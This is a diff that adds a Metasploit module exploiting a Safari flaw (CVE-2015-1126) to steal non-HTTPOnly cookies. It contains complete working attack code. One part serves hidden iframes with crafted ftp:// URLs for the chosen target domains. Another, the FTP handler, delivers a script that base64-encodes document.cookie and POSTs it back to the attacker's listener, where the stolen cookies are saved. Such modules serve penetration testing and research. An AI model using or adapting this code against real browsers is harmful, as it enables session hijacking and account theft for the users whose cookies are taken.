|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex/service_manager' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::FtpServer |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft', |
| 17 | + 'Description' => %q{ |
| 18 | + A vulnerability exists in versions of OSX/iOS/Windows Safari released |
| 19 | + before April 8, 2015 that allows the non-HTTPOnly cookies of any |
| 20 | + domain to be stolen. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => [ |
| 24 | + 'Jouko Pynnonen', # Initial discovery and disclosure |
| 25 | + 'joev', # msf module |
| 26 | + ], |
| 27 | + 'References' => [ |
| 28 | + [ 'CVE', '2015-1126' ], |
| 29 | + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ] |
| 30 | + ], |
| 31 | + 'Actions' => [ [ 'WebServer' ] ], |
| 32 | + 'PassiveActions' => [ 'WebServer' ], |
| 33 | + 'DefaultAction' => 'WebServer', |
| 34 | + 'DisclosureDate' => 'Apr 8 2015' |
| 35 | + )) |
| 36 | + |
| 37 | + register_options([ |
| 38 | + OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']), |
| 39 | + OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]), |
| 40 | + OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]), |
| 41 | + OptString.new('TARGET_DOMAINS', [ |
| 42 | + true, |
| 43 | + 'The comma-separated list of domains to steal non-HTTPOnly cookies from.', |
| 44 | + 'apple.com,example.com' |
| 45 | + ]) |
| 46 | + ], self.class ) |
| 47 | + end |
| 48 | + |
| 49 | + |
| 50 | + # |
| 51 | + # Start the FTP and HTTP server |
| 52 | + # |
| 53 | + def run |
| 54 | + start_service |
| 55 | + print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") |
| 56 | + start_http |
| 57 | + @http_service.wait |
| 58 | + end |
| 59 | + |
| 60 | + |
| 61 | + # |
| 62 | + # Handle the HTTP request and return a response. Code borrowed from: |
| 63 | + # msf/core/exploit/http/server.rb |
| 64 | + # |
| 65 | + def start_http(opts={}) |
| 66 | + # Ensture all dependencies are present before initializing HTTP |
| 67 | + use_zlib |
| 68 | + |
| 69 | + comm = datastore['ListenerComm'] |
| 70 | + if comm.to_s == 'local' |
| 71 | + comm = ::Rex::Socket::Comm::Local |
| 72 | + else |
| 73 | + comm = nil |
| 74 | + end |
| 75 | + |
| 76 | + # Default the server host / port |
| 77 | + opts = { |
| 78 | + 'ServerHost' => datastore['SRVHOST'], |
| 79 | + 'ServerPort' => datastore['HTTPPORT'], |
| 80 | + 'Comm' => comm |
| 81 | + }.update(opts) |
| 82 | + |
| 83 | + # Start a new HTTP server |
| 84 | + @http_service = Rex::ServiceManager.start( |
| 85 | + Rex::Proto::Http::Server, |
| 86 | + opts['ServerPort'].to_i, |
| 87 | + opts['ServerHost'], |
| 88 | + datastore['SSL'], |
| 89 | + { |
| 90 | + 'Msf' => framework, |
| 91 | + 'MsfExploit' => self, |
| 92 | + }, |
| 93 | + opts['Comm'], |
| 94 | + datastore['SSLCert'] |
| 95 | + ) |
| 96 | + |
| 97 | + @http_service.server_name = datastore['HTTP::server_name'] |
| 98 | + |
| 99 | + # Default the procedure of the URI to on_request_uri if one isn't |
| 100 | + # provided. |
| 101 | + uopts = { |
| 102 | + 'Proc' => Proc.new { |cli, req| |
| 103 | + on_request_uri(cli, req) |
| 104 | + }, |
| 105 | + 'Path' => resource_uri |
| 106 | + }.update(opts['Uri'] || {}) |
| 107 | + |
| 108 | + proto = (datastore['SSL'] ? 'https' : 'http') |
| 109 | + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") |
| 110 | + |
| 111 | + if opts['ServerHost'] == '0.0.0.0' |
| 112 | + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") |
| 113 | + end |
| 114 | + |
| 115 | + # Add path to resource |
| 116 | + @service_path = uopts['Path'] |
| 117 | + @http_service.add_resource(uopts['Path'], uopts) |
| 118 | + end |
| 119 | + |
| 120 | + # |
| 121 | + # Lookup the right address for the client |
| 122 | + # |
| 123 | + def lookup_lhost(c=nil) |
| 124 | + # Get the source address |
| 125 | + if datastore['SRVHOST'] == '0.0.0.0' |
| 126 | + Rex::Socket.source_address( c || '50.50.50.50') |
| 127 | + else |
| 128 | + datastore['SRVHOST'] |
| 129 | + end |
| 130 | + end |
| 131 | + |
| 132 | + # |
| 133 | + # Handle the FTP RETR request. This is where we transfer our actual malicious payload |
| 134 | + # |
| 135 | + def on_client_command_retr(c, arg) |
| 136 | + conn = establish_data_connection(c) |
| 137 | + unless conn |
| 138 | + c.put("425 can't build data connection\r\n") |
| 139 | + return |
| 140 | + end |
| 141 | + |
| 142 | + print_status('Connection for file transfer accepted') |
| 143 | + c.put("150 Connection accepted\r\n") |
| 144 | + |
| 145 | + # Send out payload |
| 146 | + conn.put(exploit_html) |
| 147 | + c.put("226 Transfer complete.\r\n") |
| 148 | + conn.close |
| 149 | + end |
| 150 | + |
| 151 | + # |
| 152 | + # Kill HTTP/FTP (shut them down and clear resources) |
| 153 | + # |
| 154 | + def cleanup |
| 155 | + super |
| 156 | + |
| 157 | + # clear my resource, deregister ref, stop/close the HTTP socket |
| 158 | + begin |
| 159 | + @http_service.remove_resource(@uri_path) |
| 160 | + @http_service.deref |
| 161 | + @http_service.stop |
| 162 | + @http_service.close |
| 163 | + @http_service = nil |
| 164 | + rescue |
| 165 | + end |
| 166 | + end |
| 167 | + |
| 168 | + |
| 169 | + # |
| 170 | + # Ensures that gzip can be used. If not, an exception is generated. The |
| 171 | + # exception is only raised if the DisableGzip advanced option has not been |
| 172 | + # set. |
| 173 | + # |
| 174 | + def use_zlib |
| 175 | + unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false |
| 176 | + fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") |
| 177 | + end |
| 178 | + end |
| 179 | + |
| 180 | + |
| 181 | + # |
| 182 | + # Returns the configured (or random, if not configured) URI path |
| 183 | + # |
| 184 | + def resource_uri |
| 185 | + return @uri_path if @uri_path |
| 186 | + |
| 187 | + @uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8)) |
| 188 | + @uri_path = '/' + @uri_path if @uri_path !~ /^\// |
| 189 | + @uri_path |
| 190 | + end |
| 191 | + |
| 192 | + |
| 193 | + # |
| 194 | + # Handle HTTP requets and responses |
| 195 | + # |
| 196 | + def on_request_uri(cli, request) |
| 197 | + if request.method.downcase == 'post' |
| 198 | + json = JSON.parse(request.body) |
| 199 | + domain = json['domain'] |
| 200 | + cookie = Rex::Text.decode_base64(json['p']).to_s |
| 201 | + if cookie.length == 0 |
| 202 | + print_error("#{cli.peerhost}: No cookies found for #{domain}") |
| 203 | + else |
| 204 | + file = store_loot( |
| 205 | + "cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies' |
| 206 | + ) |
| 207 | + print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ") |
| 208 | + print_good(file) |
| 209 | + end |
| 210 | + send_response(cli, 200, 'OK', '') |
| 211 | + else |
| 212 | + domains = datastore['TARGET_DOMAINS'].split(',') |
| 213 | + iframes = domains.map do |domain| |
| 214 | + %Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;' |
| 215 | + src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'> |
| 216 | + </iframe>| |
| 217 | + end |
| 218 | + |
| 219 | + html = <<-HTML |
| 220 | + <html> |
| 221 | + <body> |
| 222 | + #{iframes.join} |
| 223 | + </body> |
| 224 | + </html> |
| 225 | + HTML |
| 226 | + |
| 227 | + send_response(cli, 200, 'OK', html) |
| 228 | + end |
| 229 | + end |
| 230 | + |
| 231 | + # |
| 232 | + # Create an HTTP response and then send it |
| 233 | + # |
| 234 | + def send_response(cli, code, message='OK', html='') |
| 235 | + proto = Rex::Proto::Http::DefaultProtocol |
| 236 | + res = Rex::Proto::Http::Response.new(code, message, proto) |
| 237 | + res['Content-Type'] = 'text/html' |
| 238 | + res.body = html |
| 239 | + |
| 240 | + cli.send_response(res) |
| 241 | + end |
| 242 | + |
| 243 | + def exploit_html |
| 244 | + <<-HTML |
| 245 | + <html><body> |
| 246 | + <script> |
| 247 | + var p = window.btoa(document.cookie); |
| 248 | + var x = new XMLHttpRequest(); |
| 249 | + x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}") |
| 250 | + x.setRequestHeader('Content-type', 'text/plain'); |
| 251 | + x.send(JSON.stringify({p: p, domain: document.domain})); |
| 252 | + </script> |
| 253 | + </body></html> |
| 254 | + HTML |
| 255 | + end |
| 256 | + |
| 257 | + def grab_key |
| 258 | + @grab_key ||= Rex::Text.rand_text_alphanumeric(8) |
| 259 | + end |
| 260 | + |
| 261 | +end |
0 commit comments